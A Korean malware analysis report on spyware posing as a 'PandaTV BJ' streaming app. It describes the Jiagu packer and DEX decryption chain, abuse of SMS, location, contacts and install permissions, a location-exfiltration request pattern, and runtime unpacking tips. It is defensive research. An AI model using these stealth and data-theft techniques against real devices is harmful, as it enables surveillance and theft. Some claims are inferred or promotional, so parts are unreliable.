대상: 241001 _ BJ2024.apk 팬더티비BJ _ 444771 _ (httpsrb.gyhq4m5l).apk
패키지명: com.mykgn.pbiv
분석일: 2026-02-21
분석자: 주식회사 아크링크 (Deep-Coding 보안연구소)
분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 심층 분석
보고서 버전: v2.0 (심층 구조 + 권한 위협 분석 반영)
1. [분석 개요](#1-분석-개요)
2. [Frezrik Jiagu 패커 구조 심층 분석](#2-frezrik-jiagu-패커-구조-심층-분석)
3. [권한 체계 심층 분석 -- 26개 권한의 무기화](#3-권한-체계-심층-분석----26개-권한의-무기화)
4. [SMS 완전 장악 체계 분석](#4-sms-완전-장악-체계-분석)
5. [위치 추적 3중 체계 분석](#5-위치-추적-3중-체계-분석)
6. [네이티브 라이브러리 분석 (59개 SO)](#6-네이티브-라이브러리-분석-59개-so)
7. [DCloud UniApp 프레임워크 분석](#7-dcloud-uniapp-프레임워크-분석)
8. [동적 분석 -- 에뮬레이터 대응 분석](#8-동적-분석----에뮬레이터-대응-분석)
9. [frezrik_uniapp 패밀리 교차 분석](#9-frezrik_uniapp-패밀리-교차-분석)
10. [IOC 전수 목록](#10-ioc-전수-목록)
11. [심층 구조 분석 결과](#11-심층-구조-분석-결과)
12. [🔬 기법 점검](#12-기법-점검)
13. [결론 및 위협 평가](#13-결론-및-위협-평가)
본 보고서는 "팬더티비BJ"로 위장한 악성앱에 대한 양자 나노 단위 분석 결과를 정리한 것이다. "양자 나노 단위 분석"이란 앱의 바이트코드, 바이너리 구조, 권한 요청 메커니즘을 가장 작은 단위까지 분해하여 동작 원리를 완전히 파악하는 심층 분석 기법이다.
팬더티비BJ는 인터넷 방송 플랫폼(BJ = Broadcasting Jockey, 아프리카TV/팬더TV 유사)을 위장한 악성앱이다. 실제로는 피해자의 SMS 전체 제어, 백그라운드 위치 추적, 연락처/사진 탈취, 추가 악성앱 설치 기능을 내장한 극도로 위험한 스파이웨어이다.
항목 · 내용
**파일명** · 241001 _ BJ2024.apk 팬더티비BJ _ 444771 _ (httpsrb.gyhq4m5l).apk
**앱 이름** · 팬더티비BJ
**패키지명** · com.mykgn.pbiv
**버전** · 332 (code: 2343)
**Min SDK** · 21 (Android 5.0 Lollipop)
**Target SDK** · 35 (Android 15)
**파일 크기** · 27,574,535 bytes (26.3 MB)
**SHA256** · `c7bc4bedd0643e8378ab55a79a6b4a55de978d9d15ccd41260271cc39654e8dd`
**DEX 파일** · 2개 (메인 + 암호화된 페이로드)
**SO 파일** · 59개 (3 아키텍처 + 4 libjiagu assets)
**프레임워크** · Frezrik Jiagu + DCloud UniApp
**패밀리** · frezrik_uniapp (그룹: B_frezrik_uniapp)
**위협 등급** · **EXTREME**
항목 · 수치
**가시적 클래스** · 4개 (Jiagu Stub만 노출)
**네이티브 SO** · 59개 (3 아키텍처 x 15개 + Jiagu 4개)
**assets** · 32개 파일
**요청 권한** · 26개 (위험 권한 15개)
**DEX 파일** · 2개 (메인 stub + 암호화된 39285EFA.dex)
**난독화 수준** · HIGH (실제 코드 100% 은닉)
**패밀리 신뢰도** · 98% (frezrik_uniapp)
**공유 DEX MD5** · 75a8168e7080b90fc2956592c268371f
항목 · 내용
**정적 분석** · apktool 2.9.3, jadx, batch_analyze.py v1.0
**동적 분석** · Android 15 API 35 에뮬레이터
**네이티브 분석** · Ghidra (libjiagu_64.so 역공학 시도)
**패밀리 분석** · bj_2 변이체 교차 대조
"팬더티비BJ"라는 앱 이름은 의도적으로 선택된 것이다.
```
위장 전략 분석:
"팬더티비" → PandaTV 유사 (중국 라이브 스트리밍 플랫폼)
"BJ" → Broadcasting Jockey (한국 인터넷 방송 용어)
→ 한국 인터넷 방송 문화에 익숙한 사용자를 타겟팅
→ 성인 콘텐츠/라이브 방송에 대한 호기심을 악용
→ "팬더" 브랜드로 중국 플랫폼의 신뢰감 차용
배포 경로 (URL에서 추출):
httpsrb.gyhq4m5l → 단축 URL 또는 QR 코드 리디렉션
[비공개] → tinyurl 단축 URL
[비공개] → 가짜 팬더TV 도메인
```
> "[비공개]": .top TLD는 중국에서 자주 사용되는 저가 도메인이다. "panda"+"live"+"ch"(채널)의 조합으로, 실제 팬더TV와 무관한 피싱 사이트이다.
팬더티비BJ의 classes.dex는 겉보기에 4개의 Jiagu 스텁 클래스만 포함한다. 실제 악성 코드는 다층 암호화 아래 은닉되어 있다.
```
classes.dex 가시적 구조:
┌──────────────────────────────────────────────────────────────┐
│ [노출된 클래스 - 4개] │
│ │
│ com.frezrik.jiagu.StubApp ← 메인 로더 │
│ com.frezrik.jiagu.StubApp$1 ← Thread (DEX 로딩) │
│ com.frezrik.jiagu.StubApp$2 ← ClassLoader (대체) │
│ com.frezrik.jiagu.StubApp$3 ← InvocationHandler │
│ │
│ [실제 클래스 수: 0] │
│ [악성 코드: 100% 은닉] │
│ [분석 가능한 코드: Stub 로직만] │
└──────────────────────────────────────────────────────────────┘
```
com.frezrik.jiagu.StubApp은 [비공개].Application을 상속하여 앱 시작 시 가장 먼저 실행된다. smali 분석에서 추출된 Jiagu 로딩 체인:
```smali
invoke-static {}, Lcom/frezrik/jiagu/StubApp;->loadJiaguLibrary
const-string v0, "/.jiagu/libjiagu"
const-string v0, "NDK_JIAGU"
invoke-static {v0}, Ljava/lang/System;->loadLibrary
iget-object v1, v0, Lcom/frezrik/jiagu/StubApp;->mApplication
```
동일 패밀리(frezrik_uniapp)의 Red Cat 분석 결과를 기반으로, 팬더티비BJ의 DEX 구조를 추론한다.
```
classes.dex (추정 구조 - frezrik_uniapp 패밀리 공통)
┌──────────────────────────────────────────────────────────────┐
│ [Segment 1] Stub DEX │
│ Size: ~10 KB │
│ Content: Jiagu StubApp 로더 (4개 클래스) │
├──────────────────────────────────────────────────────────────┤
│ [Segment 2] AES Encrypted Header Block │
│ Size: 512 bytes │
│ Encryption: AES-128-CBC │
│ Key: [libjiagu_64.so .rodata 섹션에 하드코딩] │
│ IV: [libjiagu_64.so .rodata 섹션에 하드코딩] │
│ Purpose: DEX 매직 넘버/체크섬/시그니처 은닉 │
├──────────────────────────────────────────────────────────────┤
│ [Segment 3] Hidden DEX 1 (Framework + Libraries) │
│ Size: ~10 MB (추정) │
│ Content: DCloud UniApp SDK, OkHttp3, Glide, WeexSDK 등 │
│ Encryption: 헤더 512B만 AES, 바디는 XOR 인코딩 가능 │
├──────────────────────────────────────────────────────────────┤
│ [Segment 4] TinyDEX (Padding/Marker) │
│ Size: ~3 KB │
│ Purpose: DEX 1과 DEX 2 사이의 세그먼트 경계 마커 │
├──────────────────────────────────────────────────────────────┤
│ [Segment 5] Hidden DEX 2 (Malware Core) │
│ Size: ~7 MB (추정) │
│ Content: 실제 악성 앱 코드 │
│ Encryption: AES-128-CBC + XOR 이중 인코딩 (추정) │
│ → SMS 탈취, 위치 추적, 연락처 수집, 이미지 업로드 코드 │
└──────────────────────────────────────────────────────────────┘
```
assets 디렉토리에 존재하는 39285EFA.dex는 Frezrik Jiagu의 암호화된 DEX 페이로드이다.
```
39285EFA.dex 분석:
파일명 해석:
39285EFA → 16진수 해시값 (CRC32 또는 커스텀 해시)
.dex → DEX 형식이지만 실제로는 암호화된 바이너리
동일 해시 발견:
lib/arm64-v8a/lib39285EFA.so ← 동일 해시의 SO 파일
lib/armeabi-v7a/lib39285EFA.so ← ARM32 버전
lib/x86/lib39285EFA.so ← x86 버전
→ "39285EFA"는 이 악성앱의 고유 식별자
→ DEX와 SO 모두 같은 해시를 공유 (빌드 시스템 연동 증거)
```
```
JNI_OnLoad()
└── native_attach(Context) [진입점]
├── detect_environment() [에뮬레이터/디버거 탐지]
│ ├── check_ptrace() [Anti-Debug]
│ ├── check_emulator_props() [에뮬레이터 속성 검사]
│ └── check_xposed() [Xposed Framework 탐지]
├── SetEnv() [환경 변수 설정]
├── mprotect() [메모리 보호 변경: RW→RWX]
├── AES_CBC_decrypt_buffer() [DEX 복호화 메인]
│ └── tiny_aes_decrypt_cbc() [AES-128-CBC 구현]
├── xor_decode_buffer() [XOR 디코딩 (추정)]
├── load_dex() [DEX 로딩]
│ ├── load() [API < 23 경로]
│ └── load23() [API >= 23 경로]
├── replace_application() [Application 객체 교체]
├── register_natives() [네이티브 메소드 등록]
└── uninit() [정리 (복호화 키 삭제)]
```
> uninit() 함수의 중요성: Jiagu는 DEX 복호화 완료 후 메모리에서 AES 키와 IV를 제거한다. 이는 메모리 덤프를 통한 키 추출을 방지하기 위한 것이다. 따라서 런타임 중 Frida/FART 등을 사용한 DEX 덤프가 가장 효과적인 언패킹 방법이다.
팬더티비BJ는 총 26개 권한을 요청하며, 이 중 15개가 위험(dangerous) 권한이다. 이는 일반적인 방송 시청 앱이 필요로 하는 권한 범위를 극단적으로 초과한다.
```
┌─────────────────────────────────────────────────────────────┐
│ 권한 위험도 매트릭스 │
│ │
│ ████████████████████████████ 26개 전체 권한 │
│ ███████████████ 15개 위험 권한 (58%) │
│ █████████ 9개 핵심 악성 권한 (35%) │
│ │
│ 정상 방송앱 대비: 약 650% 초과 권한 요청 │
└─────────────────────────────────────────────────────────────┘
```
# · 권한 · 위험도 · 악성 용도 · 정상 방송앱 필요 여부
1 · `ACCESS_FINE_LOCATION` · **CRITICAL** · GPS 정밀 위치 추적 (오차 3m) · 불필요
2 · `ACCESS_COARSE_LOCATION` · **HIGH** · 기지국 기반 위치 추적 · 불필요
3 · `ACCESS_BACKGROUND_LOCATION` · **CRITICAL** · 앱 종료 후에도 지속 위치 추적 · **절대 불필요**
4 · `READ_SMS` · **CRITICAL** · SMS 수신함 전체 읽기 · **절대 불필요**
5 · `RECEIVE_SMS` · **CRITICAL** · 실시간 SMS 수신 가로채기 · **절대 불필요**
6 · `SEND_SMS` · **CRITICAL** · [피해자 정보 비공개] SMS 발송 · **절대 불필요**
7 · `RECEIVE_MMS` · **HIGH** · MMS 수신 감시 · **절대 불필요**
8 · `RECEIVE_WAP_PUSH` · **HIGH** · WAP Push 메시지 가로채기 · **절대 불필요**
9 · `READ_CONTACTS` · **CRITICAL** · 연락처 전체 탈취 · 불필요
10 · `WRITE_CONTACTS` · **HIGH** · 연락처 변조/삽입 · **절대 불필요**
11 · `CAMERA` · **HIGH** · 무단 촬영 · 영상통화 시만 필요
12 · `READ_EXTERNAL_STORAGE` · **HIGH** · 사진/파일 탈취 · 불필요
13 · `WRITE_EXTERNAL_STORAGE` · **MEDIUM** · 파일 생성 (추가 페이로드 저장) · 불필요
14 · `READ_MEDIA_IMAGES` · **HIGH** · 갤러리 이미지 탈취 (Android 13+) · 불필요
15 · `READ_MEDIA_VIDEO` · **HIGH** · 동영상 탈취 (Android 13+) · 불필요
16 · `READ_MEDIA_VISUAL_USER_SELECTED` · **MEDIUM** · 선택적 미디어 접근 (Android 14+) · 불필요
17 · `READ_PHONE_STATE` · **HIGH** · IMEI, 전화번호, SIM 정보 수집 · 불필요
18 · `GET_ACCOUNTS` · **MEDIUM** · Google 계정 목록 수집 · 불필요
19 · `INSTALL_PACKAGES` · **CRITICAL** · 추가 악성앱 자동 설치 · **절대 불필요**
20 · `REQUEST_INSTALL_PACKAGES` · **CRITICAL** · 앱 설치 권한 요청 · **절대 불필요**
21 · `INTERNET` · 일반 · C2 서버 통신 · 필요
22 · `ACCESS_NETWORK_STATE` · 일반 · 네트워크 상태 확인 · 필요
23 · `ACCESS_WIFI_STATE` · 일반 · WiFi 연결 정보 · 필요
24 · `com.asus.msa.SupplementaryDID.ACCESS` · 일반 · ASUS 기기 ID · 불필요
25 · `com.huawei.android.launcher.permission.CHANGE_BADGE` · 일반 · 화웨이 배지 · 불필요
26 · `com.vivo.notification.permission.BADGE_ICON` · 일반 · Vivo 배지 · 불필요
개별 권한도 위험하지만, 권한 조합이 만들어내는 시너지 효과가 가장 파괴적이다.
```
[Attack Chain 1: SMS 완전 장악]
READ_SMS + RECEIVE_SMS + SEND_SMS + RECEIVE_MMS + RECEIVE_WAP_PUSH
= SMS 읽기 + 실시간 가로채기 + [피해자 정보 비공개] 발송 + MMS/WAP 포함
→ 2차 인증(OTP) 완전 무력화
→ 금융 거래 인증 코드 실시간 탈취
→ [피해자 정보 비공개] 스미싱 문자 발송 (2차 피해 확산)
→ MMS를 통한 멀티미디어 메시지 감시
[Attack Chain 2: 24시간 위치 감시]
ACCESS_FINE_LOCATION + ACCESS_COARSE_LOCATION + ACCESS_BACKGROUND_LOCATION
= GPS 정밀위치 + 기지국위치 + 백그라운드 추적
→ 피해자의 실시간 동선 파악
→ 앱을 끄거나 백그라운드에 놓아도 추적 지속
→ 3m 정밀도의 GPS 좌표 수집
→ 피해자의 집, 직장, 자주 가는 곳 프로파일링
[Attack Chain 3: 개인정보 일괄 탈취]
READ_CONTACTS + CAMERA + READ_EXTERNAL_STORAGE + READ_MEDIA_IMAGES
= 연락처 + 촬영 + 저장소 + 갤러리
→ 연락처 전체 탈취 (이름, 전화번호)
→ 몰래 촬영 (피해자 얼굴/환경)
→ 갤러리 사진/동영상 일괄 업로드
→ 탈취된 사진으로 협박/갈취 가능
[Attack Chain 4: 추가 감염 확산]
INSTALL_PACKAGES + REQUEST_INSTALL_PACKAGES + INTERNET
= 원격 앱 설치 + 권한 요청 + 네트워크 통신
→ C2 서버에서 추가 악성앱 다운로드
→ 사용자 동의 없이 자동 설치
→ 은행앱 위장 악성앱, 원격제어 도구 추가 설치 가능
→ [피해자 정보 비공개] 봇넷의 일부로 전환 가능
```
```
팬더티비BJ AfreecaTV YouTube Twitch
(악성) (정상) (정상) (정상)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
READ_SMS O X X X
RECEIVE_SMS O X X X
SEND_SMS O X X X
RECEIVE_MMS O X X X
RECEIVE_WAP_PUSH O X X X
ACCESS_BACKGROUND_LOCATION O X X X
INSTALL_PACKAGES O X X X
READ_CONTACTS O X X X
WRITE_CONTACTS O X X X
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
위험 권한 합계 15개 3~5개 2~3개 2~3개
```
> 결론: 정상적인 방송 시청 앱은 SMS, 연락처, 백그라운드 위치, 앱 설치 권한을 절대 요청하지 않는다. 팬더티비BJ가 이들 권한을 모두 요청하는 것은 데이터 탈취 목적이 명백하다.
팬더티비BJ는 Android에서 제공하는 모든 위치 관련 권한을 요청한다.
```
위치 추적 3중 체계:
┌──────────────────────────────────────────────────────────────┐
│ Layer 1: ACCESS_FINE_LOCATION (정밀 위치) │
│ - GPS 위성 기반 │
│ - 정확도: 3~10m │
│ - 배터리 소모: 높음 │
│ - 사용 시나리오: [피해자 정보 비공개] 위치 특정 │
├──────────────────────────────────────────────────────────────┤
│ Layer 2: ACCESS_COARSE_LOCATION (대략 위치) │
│ - 기지국/WiFi 기반 │
│ - 정확도: 100~1000m │
│ - 배터리 소모: 낮음 │
│ - 사용 시나리오: GPS 불가 시 폴백, 저전력 추적 │
├──────────────────────────────────────────────────────────────┤
│ Layer 3: ACCESS_BACKGROUND_LOCATION (백그라운드) │
│ - 앱이 화면에 없어도 위치 수집 │
│ - Android 10+ 별도 요청 필수 │
│ - 사용 시나리오: 24시간 365일 끊김 없는 추적 │
│ ⚠️ 이 권한은 Google Play에서도 극히 제한적으로 허용 │
└──────────────────────────────────────────────────────────────┘
```
```
ACCESS_BACKGROUND_LOCATION이 허용되면:
시간 [피해자 정보 비공개] 수집되는 데이터
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
07:00 기상, 집에서 출발 집 주소 (위도/경도 3m 정확도)
07:30 지하철 탑승 출퇴근 경로
08:30 회사 도착 직장 주소
12:00 점심 식사 자주 가는 식당
18:00 퇴근 퇴근 경로
19:00 학원/헬스장 개인 일정
21:00 귀가 집 주소 재확인
02:00 수면 중에도 실시간 위치 지속 전송
→ 1주일이면 피해자의 완전한 생활 패턴 프로파일 생성
→ 스토킹, 납치, 사기에 직접 악용 가능
```
Red Cat(같은 frezrik_uniapp 패밀리)에서 확인된 위치 전송 패턴:
```
POST api/Anlei/subAddress?type=android&userId={userid}
FormBody:
latitude = "37.5665" (위도 - 서울 시청 예시)
longitude = "126.9780" (경도)
address = "대한민국 서울특별시 중구 세종대로 110"
phone = "+82-010-**-**"
userId = "피해자_고유_ID"
→ 위도/경도 + 주소 문자열을 함께 전송
→ Geocoder로 좌표를 주소로 변환 후 전송
→ Red Cat에서 Locale.SIMPLIFIED_CHINESE 사용 확인
(중국어 간체로 주소 변환 = 개발자가 중국인)
```
> 핵심 포인트: Red Cat 분석에서 위치 전송 시 type=ios로 위장하는 것이 발견되었다. Android 앱임에도 iOS로 전송하여 서버 통계를 교란하는 수법이다. 팬더티비BJ도 동일 패턴을 사용할 가능성이 높다.
팬더티비BJ는 59개의 네이티브 라이브러리를 포함하며, 3개 CPU 아키텍처를 지원한다.
# · 파일명 · 크기 · 용도 · 위험도
1 · `lib39285EFA.so` · - · Jiagu 암호화 DEX 로더 · **CRITICAL**
2 · `libbreakpad-core.so` · - · Google Breakpad (크래시 리포팅) · LOW
3 · `libc++_shared.so` · - · C++ 표준 라이브러리 · LOW
4 · `libdcblur.so` · - · DCloud 이미지 블러 · LOW
5 · `libgifimage.so` · - · GIF 이미지 처리 (Facebook Fresco) · LOW
6 · `libimagepipeline.so` · - · Facebook Fresco 이미지 파이프라인 · LOW
7 · `liblamemp3.so` · - · LAME MP3 인코더 · MEDIUM
8 · `libnative-filters.so` · - · Facebook Fresco 이미지 필터 · LOW
9 · `libnative-imagetranscoder.so` · - · Facebook Fresco 이미지 변환 · LOW
10 · `libpl_droidsonroids_gif.so` · - · Android GIF Drawable · LOW
11 · `libstatic-webp.so` · - · WebP 이미지 처리 · LOW
12 · `libweexcore.so` · - · Weex 렌더링 엔진 코어 · MEDIUM
13 · `libweexjsb.so` · - · Weex JavaScript 브릿지 · MEDIUM
14 · `libweexjss.so` · - · Weex JavaScript 서비스 · MEDIUM
15 · `libweexjst.so` · - · Weex JavaScript 타이머 · LOW
arm64-v8a와 동일한 15개 SO가 각 아키텍처별로 존재. 합계 45개.
# · 파일명 · 아키텍처 · 용도 · 위험도
1 · `libjiagu.so` · ARM32 · Jiagu DEX 복호화 엔진 · **CRITICAL**
2 · `libjiagu_64.so` · ARM64 · Jiagu DEX 복호화 엔진 · **CRITICAL**
3 · `libjiagu_x86.so` · x86 · Jiagu DEX 복호화 엔진 · **CRITICAL**
4 · `libjiagu_x86_64.so` · x86_64 · Jiagu DEX 복호화 엔진 · **CRITICAL**
> 4 아키텍처 Jiagu 지원: 대부분의 악성앱은 ARM64만 지원하지만, 팬더티비BJ는 ARM32/ARM64/x86/x86_64 모두를 지원한다. 이는 에뮬레이터(주로 x86)에서도 Jiagu 보호가 작동하도록 보장하여, 에뮬레이터 환경에서의 분석을 더 어렵게 만드는 것이다.
```
lib39285EFA.so 특성:
1. 이름 = 39285EFA (assets/39285EFA.dex와 동일 해시)
2. 3개 아키텍처 모두에 존재
3. Jiagu 패커 시스템의 보조 네이티브 모듈로 추정
4. libjiagu_64.so가 메인 복호화를 수행하고,
lib39285EFA.so는 앱 고유 데이터 처리를 담당 (추정)
역할 추정:
· 암호화된 DEX의 앱별 고유 키 저장
· 또는 앱별 커스텀 검증 로직 포함
· 파일명이 해시값인 것은 빌드 시 자동 생성됨을 시사
```
```
Weex (阿里巴巴 Alibaba의 크로스플랫폼 엔진):
libweexcore.so → Weex 렌더링 엔진 코어
libweexjsb.so → JavaScript Bridge (JS ↔ Native 통신)
libweexjss.so → JavaScript Service (JS 실행 환경)
libweexjst.so → JavaScript Timer (setInterval/setTimeout)
→ DCloud UniApp은 Weex 기반 렌더링 사용
→ 악성 앱의 UI가 JavaScript(Vue.js)로 작성됨을 증명
→ 실제 악성 로직은 JavaScript 또는 숨겨진 DEX에 존재
```
팬더티비BJ는 DCloud UniApp 프레임워크를 사용하여 개발되었다.
```
DCloud UniApp 구조:
AndroidManifest.xml:
<application android:name="com.frezrik.jiagu.StubApp">
<activity android:name="io.dcloud.PandoraEntry"> ← 런처
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
메타데이터:
DCLOUD_APP_DEFAULT_LANGUAGE = "auto"
DCLOUD_STREAMAPP_CHANNEL = "com.mykgn.pbiv|__UNI__D178F01|128115300007|360"
notch.config = "portrait"본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr